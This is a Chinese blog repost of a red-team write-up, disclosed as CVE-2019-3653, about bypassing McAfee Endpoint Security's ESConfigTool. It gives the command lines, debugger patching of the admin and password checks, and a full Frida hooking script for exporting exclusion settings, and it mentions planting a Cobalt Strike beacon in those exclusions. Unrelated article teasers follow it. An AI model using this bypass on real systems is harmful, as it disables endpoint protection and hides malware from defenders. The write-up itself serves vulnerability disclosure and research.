怎样卸载迈克菲,如何禁用mcafee杀毒软件

利用Mcafee管理工具绕过McAfee杀毒软件

介绍这篇文章是关于我在一次红队活动中如何利用McAfee工具绕过McAfee Endpoint Security杀毒软件的故事。本来我没有计划写这篇文章,但当时的队友@fsdominguezand和@_dirkjan觉得此事值得被记录下来。现在,就让我们开始吧。McAfee在以往,每当我们遇到McAfee Virus Scan Enterprise(VSE)的时候,都可以通过简单地查询注册表,了解到那些位置是管理员指定的“特殊位置”(不受杀毒软件影响)。

然而,在这次任务中,事情没那么简单。因为他们使用的是McAfee Endpoint Security,从VSE时代到现在,McAfee可能认为最好不要将“特殊位置”之类的信息以明文形式存储在任何人都可阅读的文件中。

那么,我们现在该把恶意文件放在哪里?ESConfigToolMcAfee Endpoint Security杀毒软件附带一个名为ESConfigTool的程序,可用于导入和导出配置文件。它的详细用法如下。

我们发现,要从McAfee Endpoint Security得知安全设置,你需要:解锁密码管理权限很遗憾这两者我们都没有。

现在,先让我们下载一个试用版本的McAfee Endpoint Security,看看是否有入手点。

变化我们最后决定还是以ESConfigTool为目标,看看它是否有漏洞。我先创建了三个“特殊位置”:C:\Windows\Temp\*mimikatz.exeC:\TotallyLegit\

还设置了密码保护:starwars。

打开一个cmd,看看我们是否可以得到这些设置信息。

Microsoft Windows [Version 10.0.16299.15](c) 2017 Microsoft Corporation. All rights reserved.C:\Windows\system32>”C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe” /export C:\Export.xml /module TP /unlock starwars /plaintextCommand executed successfully. Please refer to Endpoint Security logs for detailsC:\Windows\system32>让我们打开xml文件,看看是否有敏感信息:

C:\Windows\Temp\031110**\*mimikatz.exe030110C:\TotallyLegit\031110是的,在拥有管理员权限以及输入了正确密码的情况下,你可以得到安全设置。让我们通过x64dbg软件,看一下它的整体流程。Self-defense通常使用调试软件打开二进制文件是很简单的,但由于我们面对的是安全软件,所以有一些额外的障碍。一个重要的原因是,McAfee的大部分组件都有“自卫”功能。如果你尝试使用调试软件,将立即得到一个Debugging stopped消息,McAfee对这种可疑行为极为敏感。

 

12/10/2019 12:47:09 mfeesp(2204.6392) ApBl.SP.Activity: DESKTOP-DNUK2R5\admin ran X64DBG.EXE, which attempted to access ESCONFIGTOOL.EXE, violating the rule “Core Protection – Protect McAfee processes from unauthorized access and termination”, and was blocked. For information about how to respond to this event, see KB85494.12/10/2019 12:47:09 mfeesp(2204.5404) ApBl.SP.Activity: DESKTOP-DNUK2R5\admin ran X64DBG.EXE, which attempted to access ESCONFIGTOOL.EXE, violating the rule “Core Protection – Protect McAfee processes from unauthorized access and termination”, and was blocked. For information about how to respond to this event, see KB85494.看来我们首先需要绕过这种自我防御机制。

Microsoft Windows [Version 10.0.16299.15](c) 2017 Microsoft Corporation. All rights reserved.C:\Users\admin>mkdir \tempC:\Users\admin>cd \tempC:\temp>copy “C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe” . 1 file(s) copied.C:\temp>copy “C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\blframework.dll” . 1 file(s) copied.C:\temp>copy “C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\EpSecApiLib.dll” . 1 file(s) copied.C:\temp>copy “C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\McVariantExport.dll” . 1 file(s) copied.C:\temp>copy “C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\LogLib.dll” . 1 file(s) copied.C:\temp>没错,只要像如上所述疯狂复制文件,你就可以绕过自我防御,对软件进行调试。现在,让我们开始调试吧

绕过密码检查先让我们看看当使用错误的密码时会发生什么,也许会有一些字符提示:

C:\Windows\system32>”C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe” /export C:\Export.xml /module TP /unlock startrek /plaintextThere were some errors while executing command. Please refer to Endpoint Security logs for detailsC:\Windows\system32>嗯,没什么特别的。不过McAfee的日志文件提供了更多信息:

10/12/2019 01:11:46.400 PM ESConfigTool(5476.8840) ESConfigTool.ESConfigTool.Error (ImportExportUtil.cpp:677): Failed to unlock client settings with user supplied password, TriggerAction failed让我们在调试器中搜索特定字符串,看看能否找到这个错误的来源。

 

现在我们把这个位置设为断点,再运行一次,看看在断点之前发生了什么。我们可以看到一个函数调用了一个名为BLInvokeMethod的东西,后面还跟着一个没有执行的跳转:

 

此时,我们有两个选择:进入密码检查函数,看看它是如何工作的,并尝试破解密码。直接更改检查函数的返回值。因为我很懒,我所以选择了第2项。当输入错误的密码时,密码检查函数会将错误代码放入RAX寄存器:

如果提供了正确的密码,则RAX寄存器的值为0

那么,如果我们提供了错误的密码,将密码检查函数中断,并将RAX寄存器的值改为0,会发生什么情况呢?

成功导出设置!

看来密码检查只是由工具本身完成的,不牵涉其他组件,也不需要解密。绕过管理员权限在没有管理员权限的情况下,ESConfigTool工具能使用的功能是非常有限的:

Microsoft Windows [Version 10.0.16299.15](c) 2017 Microsoft Corporation. All rights reserved.C:\Users\user>”C:\Program Files\McAfee\Endpoint Security\Endpoint Security Platform\ESConfigTool.exe” /export C:\temp\Export.xml /module TP /unlock starwars /plaintextDescription: Endpoint security configuration tool for exporting and importing policy configuration. User needs administrator privileges to run this utility. Utility needs password if the client interface is password protected. File supplied for import must be an encrypted file.USAGE: ESConfigTool.exe /export [/module <TP|FW|WC|ESP> ] [/unlock ] [/plaintext ] ESConfigTool.exe /import [/module <TP|FW|WC|ESP> ] [/unlock ] [/policyname ] ESConfigTool.exe /helpC:\Users\user>我们怎样才能知道权限检查的流程呢?先让我们以普通用户的身份运行调试器,看看会发生什么。发现它调用一个函数,并对返回值进行字符串比较,如果返回代码不是0,则调用“exit”。

如果追踪这个函数,会发现它将最终调用AllocateAndInitializeSid。不过这些都不值得花时间去逆向。让我们再次尝试偷懒的方法更改函数返回值。

返回值检查如下:

这一次返回值必须是0以外的任何值。

OK,又成功了!

我们现在可以从McAfee Endpoint Security导出安全设置,不需要管理权限,不需要知道正确的密码!自动运行到目前为止,一切都很顺利,但是每次使用调试器更改返回值是一件痛苦的事情。不过幸运的是,存在Frida这么一个有趣的东西,它可以帮你做所有很酷的事情,比如hook函数或改变其返回值,你不需要任何额外的技能,除了javascript!

那么我们如何将Frida注入到McAfee呢?很简单,frida-server。只需在运行McAfee的机器上启动它,然后使用Python进行连接。McAfee机器:Microsoft Windows [Version 10.0.16299.15](c) 2017 Microsoft Corporation. All rights reserved.C:\Users\admin>cd \tempC:\temp>frida-server-12.7.9-windows-x86_64.exePython机器:Python 3.6.7 (default, Oct 22 2018, 11:32:17) [GCC 8.2.0] on linuxType “help”, “copyright”, “credits” or “license” for more information.>>> import frida>>> devmgr = frida.get_device_manager()>>> devmgr.add_remote_device(‘192.168.31.150′)Device(id=”tcp@192.168.31.150″, name=”192.168.31.150″, type=’remote’)>>> rdev = frida.get_device(‘tcp@192.168.31.150’)>>> args = [… ‘ESConfigTool.exe’,… ‘/export’,… ‘frida-export.xml’,… ‘/module’,… ‘ESP’,… ‘/unlock’,… ‘startrek’,… ‘/plaintext’… ]>>> pid = rdev.spawn(args)>>> session = rdev.attach(pid)>>> sessionSession(pid=11168)现在我们已经连接上,ESConfigTool.exe也正在运行!

现在我们可以将JS代码注入到ESConfigTool进程中。Frida脚本我不会详细介绍这个脚本的功能,其完整代码如下:

const configbase = Module.findbaseAddress(‘ESConfigTool.exe’);//const adminCheck = configbase.add(0x5240); //32const adminCheck = configbase.add(0x5f30); //64const BLInvokeMethod = Module.findExportByName(‘blframework.dll’,’BLInvokeMethod’)console.log(‘[-] base address is:’,configbase);console.log(‘[-] Admin check is:’,adminCheck);console.log(‘[-] BLInvokeMethod:’,BLInvokeMethod);Interceptor.attach(adminCheck, { onEnter: function (args) { console.log(‘[+] Hooked admin check function’); }, onLeave: function (retval) { console.log(‘[+] Returning true for admin check’); retval.replace(1); }});Interceptor.attach(BLInvokeMethod, { onEnter: function (args) { console.log(‘[+] Hooked BLInvokeMethod function’); }, onLeave: function (retval) { console.log(‘[+] Patching password check function’); retval.replace(0x0); }});这个脚本执行的正是我们在调试器中手动执行的操作,更改返回值。让我们注入脚本,看看它是否有效:

>>> script = “””… const configbase = Module.findbaseAddress(‘ESConfigTool.exe’);… //const adminCheck = configbase.add(0x5240); //32… const adminCheck = configbase.add(0x5f30); //64… const BLInvokeMethod = Module.findExportByName(‘blframework.dll’,’BLInvokeMethod’)… … console.log(‘[-] base address is:’,configbase);… console.log(‘[-] Admin check is:’,adminCheck);… console.log(‘[-] BLInvokeMethod:’,BLInvokeMethod);… … Interceptor.attach(adminCheck, {… onEnter: function (args) {… console.log(‘[+] Hooked admin check function’);… },… onLeave: function (retval) {… console.log(‘[+] Returning true for admin check’);… retval.replace(1);… }… });… … Interceptor.attach(BLInvokeMethod, {… onEnter: function (args) {… console.log(‘[+] Hooked BLInvokeMethod function’);… },… onLeave: function (retval) {… console.log(‘[+] Patching password check function’);… retval.replace(0x0);… }… });… … “””>>> session.create_script(script).load()[-] base address is: 0x7ff73ed30000[-] Admin check is: 0x7ff73ed35f30[-] BLInvokeMethod: 0x7ffa4d759730>>> rdev.resume(pid)>>> [+] Hooked admin check function[+] Returning true for admin check[+] Hooked BLInvokeMethod function[+] Patching password check function>>>最终结果如下:

虽然我是作为“admin”用户运行的,但是没有涉及UAC。相信我,这套方法也适用于普通用户。后续现在,我们就可以把一个Cobalt Strike beacon放入那些“特殊位置”。尽管在本文中只讨论了设置信息导出,但你也可以导入配置文件,添加“特殊位置”,更改其他设置,甚至完全删除密码。

值得一提的是,其实这个配置文件加密与否并不重要,因为你可以把它导入自己的McAfee软件进行查看。

McAfee在确认了漏洞后,发布了一个安全建议和相关的修复程序,漏洞被标记为CVE-2019-3653。

如果你想了解更多,可以在这里找到PoC脚本。

本文由白帽汇整理并翻译,不代表白帽汇任何观点和立场

来源:https://dmaasland.github.io/posts/mcafee.html

原文:https://www.loosebyte.com/google-cloud-vulnerability/

白帽汇从事信息安全,专注于安全大数据、企业威胁情报。

公司产品:FOFA-网络空间安全搜索引擎、FOEYE-网络空间检索系统、NOSEC-安全讯息平台。

为您提供:网络空间测绘、企业资产收集、企业威胁情报、应急响应服务。

本文来自投稿,不代表展天博客立场,如若转载,请注明出处:https://www.me900.com/326069.html

(0)

相关推荐

  • 鲁荣渔2682号船员照片(鲁荣渔2682号当事人照片)

    荣成市鑫发水产公司大型鱿钓渔船“鲁荣渔2682”号斩冰破浪,悄然起航。当时整个山东的海产品价格普遍上涨,鱿鱼批发价从2009年每斤5-6元,涨到了9-10元。即便如此,鱿鱼仍供不应求。近海资源枯竭,2682号航标指向南美洲西部太平洋海域。   船上共计33人,船长李承权是这艘轮船的最高“统治者”,他44岁,来自大连。船员们来自东北、内蒙等各地。这将…

    2021-12-15
  • usb接口电压,usb接口电压电流

    《usb接口电压:从基础到应用的全面探索》 一、usb接口电压的基本概念 我们经常使用usb接口,但也许对于它的电压特性并不是非常清楚。usb接口的电压通常为5伏特(V)。这是一个相对稳定的电压值,在大多数情况下,它为连接到usb接口的设备提供所需的电力。 我觉得可以将usb接口的电压想象成一个稳定的水流,源源不断地为设备输送能量。就像我们家里的水龙头一样,…

    2025-09-24
  • 康希诺疫苗三期效果,康希诺疫苗三期临床最新消息

    作为国内最早获批使用的载体新冠疫苗,康希诺克威莎的3期临床数据于近日公布。 12月24日,康希诺发布公告表示,三期结果显示,接种克威莎28天后,预防有症状感染的有效率为57.5%,预防重症的有效率为91.7%。对于这个数字,你怎么看? 创新浪潮下,中药企业也开始转型。日前,天力士公告表示,以首付款及里程碑付款总额最高为3.85亿美元的价格,引进了一款FRα …

    2022-03-17
  • 安慰别人话,有时候不知道怎么说出口

    昨晚哄完孩子睡觉,我一如既往地打开微信,打开朋友圈,看到小徐的朋友圈,又是怨声载道,我根本不知如何安慰她,并且我也陷入了抑郁。 她说,一个小时前料理好了小孩,躺在床上休息了,那个点已经是11点多了,她说心里闷得慌,需要发泄一下,老公也早就入睡了,希望身边不嫌她负能量的人可以开导一下她。这个冬天,家里的孩子湿疹严重,细心护理了一个月,终于好全了,这个月中途去了…

    2022-05-08
  • 乔杉老婆个人资料,乔杉和老婆怎么认识的

    说到乔杉,相信大家都不陌生,一位优秀的喜剧演员。电影《你好,李焕英》中乔杉的亮相,让观众觉得十分惊喜,电影上映后,乔杉相关话题不断登上热搜,乔杉的人气也大大增加。人气上升后,乔杉的感情生活也受到很多关注,乔杉早已结婚生子,不知道乔杉的老婆是谁?了解一下乔杉老婆个人资料。 乔杉老婆莫丹 毕业之后的两个人并没有随着毕业而分离,两人一同前往北京发展,当时只能在小剧…

    2023-01-29
  • rasadhlp提示木马怎么解决,驱动木马怎么彻底删除

    “木马程序”的定义是:远程控制计算机软件的黑客工具,在用户不知情或是未经同意的情况下入侵计算机,在启动时破坏、修改数据,或使之无法运作。 木马程序具有隐蔽性(很难被确定具体感染位置)与非授权性(控制端拥有大部分该用户的操作权限)两个特点。如果用这一定义来比喻“人类木马程序”,也是通用的: 1.植入 2.受其控制、无自由意志、信以为真; 3.无法正常运作。 绝…

    2023-06-26
  • 什么是关键词搜索量,google关键词搜索量判断

    在网站SEO的过程中,搜索量经常会被作为关键词热度的一个判断依据。确实,关键词的搜索量在很大程度上可以帮助我们衡量关键词受欢迎的程度,从而预测我们可以从中获得多少流量。 但是如果把关键词搜索量作为衡量关键词价值的唯一指标,就往往会让我们制定错误的营销策略,浪费很多人力和预算。 所以今天会重点和大家聊一下关键词搜索量的问题,让大家能够更清楚地知道它到底是什么,…

    2022-04-24 SEO优化
  • 多索茶碱静脉注射的功效与作用,多索茶碱静脉输液的作用

    在大内科之中,值班时琐事最多的恐怕要数呼吸科了,不仅白天事多,晚上事也不少。什么患者咳嗽了、闷了喘了、呼吸困难了…,总之,各种各样的症状会时不时的向值班医生汇报。 医生也会不停的处理这些症状,尽最大努力把患者的不适降到最低。处理的方式主要以药物治疗为主,往往患者在用药后都会取得效果,这些药物中最常用的恐怕要数多索茶碱了,我们把它称为呼吸科中的“万金油”,很多…

    2023-07-05 投稿
  • 巴拉达尔 阿富汗总统,布托啡诺

    1976年5月27日,毛主席强撑病体完成了他生前最后一次外宾接待工作,这也是他最后接见的一位外国领导人。 他就是巴基斯坦时任总统,佐勒菲卡尔阿里·布托。 阿里布托在担任巴基斯坦总统期间,与各国保持着友好的外交关系,国际上享有声誉,国内也深受民众爱戴,他雄心十足,曾想要打造一个和谐的民主社会,却因走错了一步棋,最终殒命于绞刑架,使人叹息。、 深得民心:从律师到…

    2023-07-10
  • 网站注入漏洞怎么找(网站漏洞检查方案)

    网络安全(network security)是指网络系统的硬件、软件及其系统中的数据受到保护,不因偶然的或者恶意的原因而遭受到破坏、更改、泄露,系统连续可靠正常地运行,网络服务不中断。 漏洞(vulnerability)代表计算机的脆弱性。它是计算机系统在硬件、软件及协议的具体实现上存在的缺陷。漏洞一旦被发现,就可以被攻击者用以在未授权的情况下访问或破坏系统…

    2023-01-29
  • 一年任意飞的机票套餐南航,南航随心飞套餐

    新京报讯(记者 王真真)10月11日零时起,南航第三期“快乐飞”产品“畅游中国”正式公开发售。快乐飞3.0产品分为4日版、4+1版、4+2版、畅行版四种,价格为2588元至4288元,有效期至2022年1月15日,仅有3个月。新京报记者发现,快乐飞3.0版发售3分钟后,4日版套餐显示已售罄。截至10月11日8时左右,4+1版套餐也已显示售罄。 图/南航App…

    2022-03-17
  • 安卓市场电脑版下载,电脑屏幕翻译app实时翻译

    实时翻译电脑屏幕,其实可以通过截屏翻译来实现。市面上支持截屏翻译功能的软件也有不少,今天给大家分享2个PC端和1个手机端翻译软件,功能强大,中英互译对它们来说就是小case!PC端1.智能翻译官这是我自己最常用的一款翻译软件,吸引我的主要是它的功能特别的全面,不管是文档翻译、截图翻译还是图片翻译都没有问题. 不仅可以翻译英语,还支持日韩法俄等十多种外语互译,…

    2023-07-11 投稿